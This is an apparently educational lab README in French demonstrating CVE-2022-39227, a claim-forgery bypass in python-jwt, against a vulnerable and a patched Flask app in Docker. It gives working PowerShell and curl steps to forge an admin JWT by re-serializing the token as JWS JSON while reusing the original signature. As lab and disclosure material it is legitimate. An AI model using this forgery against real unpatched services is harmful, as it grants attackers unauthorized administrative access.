
Laboratoire éducatif démontrant le contournement d'authentification JWT CVE-2022-39227 dans python-jwt. Attaque étape par étape contre des applications Flask vulnérables et patchées avec configuration Docker.
Ce projet démontre la vulnérabilité CVE-2022-39227 dans un environnement de laboratoire local contrôlé. Cette vulnérabilité affecte la bibliothèque python-jwt (versions < 3.3.4) et permet à un attaquant de forger des revendications JWT sans connaître la clé secrète en exploitant une incohérence d'analyse (sérialisation JWS) entre python-jwt et sa dépendance jwcrypto.
Le projet lance deux applications Flask identiques via Docker, séparées uniquement par leurs versions de dépendances :
python-jwt==3.3.3)python-jwt==3.3.4)Les deux applications implémentent un contrôle d'accès basé sur les rôles (RBAC) simple. Un utilisateur normal (alice) peut se connecter et recevoir un JWT. Seuls les utilisateurs avec le rôle admin dans leur revendication JWT peuvent accéder au point de terminaison /admin.
1. Démarrer l'environnement Assurez-vous que Docker Desktop est en cours d'exécution, puis exécutez :
docker-compose up -d --build
Cela démarrera les serveurs vulnérable et corrigé en arrière-plan.
Pour reproduire l'attaque, vous exécuterez manuellement des requêtes HTTP brutes et des manipulations de charge utile dans PowerShell. Cela démontre que la vulnérabilité réside dans le protocole et la logique d'analyse de la bibliothèque, et non dans un outil externe.
Étape 1 : Se connecter et obtenir un jeton valide
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token
Étape 2 : Diviser le JWT en composants
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]
Étape 3 : Décoder la charge utile, modifier le rôle et ré-encoder en Base64Url
# Décode la charge utile originale
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))
# Change le rôle de "user" à "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'
# Encode la charge utile modifiée en Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')
Étape 4 : Construire le format de sérialisation JWS malveillant
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
-f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'
Étape 5 : Exécuter l'attaque contre les deux serveurs
# Attaque du serveur vulnérable (Port 5000) -> SUCCÈS
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"
# Attaque du serveur corrigé (Port 5001) -> BLOQUÉ (Format de jeton invalide)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"
Mettez à jour python-jwt vers la version 3.3.4 ou ultérieure. De plus, les applications devraient appliquer une validation stricte de la signature et vérifier l'intégrité de la charge utile directement via la couche logique de l'application lorsque cela est possible.
Ce projet a été mené strictement dans un environnement de laboratoire local et contrôlé à des fins éducatives. Aucun système tiers, service public ou compte utilisateur réel n'a été ciblé.